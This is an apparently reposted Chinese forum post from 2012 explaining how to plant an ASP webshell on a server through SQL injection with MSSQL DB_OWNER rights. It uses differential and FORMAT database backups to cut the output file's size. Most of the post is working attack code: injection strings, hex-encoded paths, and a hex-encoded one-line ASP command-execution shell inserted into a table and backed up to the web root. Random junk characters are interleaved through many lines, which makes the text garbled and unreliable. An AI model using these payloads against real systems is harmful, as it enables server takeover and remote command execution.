DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
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- q8 Q, x1 k; U1 ~; J( D5 W* }加一个参数WITH DIFFERENTIAL4 P" \- H0 U5 o: D% l7 Q
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& u( |7 i0 E3 w& o5 Kcreate table [dbo].[xiaolu] ([cmd] [image]);
- Y; \$ ]3 z8 f1 d, {' iinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 D: ?* e7 o% R/ @! @! ^. vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL * R3 Z% Z$ y! Z% w* M: R2 ], o
% c; ~" T- s9 P" f9 \, @二利用完全FORMAT
0 D9 M" Q* B& a% G* X" U3 j加一个参数WITH FROMAT/ \# X/ D, Y- F: V
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以8 |, o6 V6 Z- F: r7 t2 D
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
l M0 v6 ?' M/ ~( bcreate table [dbo].[xiaolu] ([cmd] [image]);
3 I, L% c5 B: Linsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" E" y8 ^1 P6 G! d7 U; S4 edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
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* e k0 E( c2 d& y. B$ f id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 2 K# c) p& r* a2 q
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) B+ ?% o9 ~6 b* I: F- X. @ a id=1;backup database model to disk='你的路径‘ with differential,format;-- 7 i6 q, x$ E: z% _, H9 G
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发表于 2012-11-9 21:31:07
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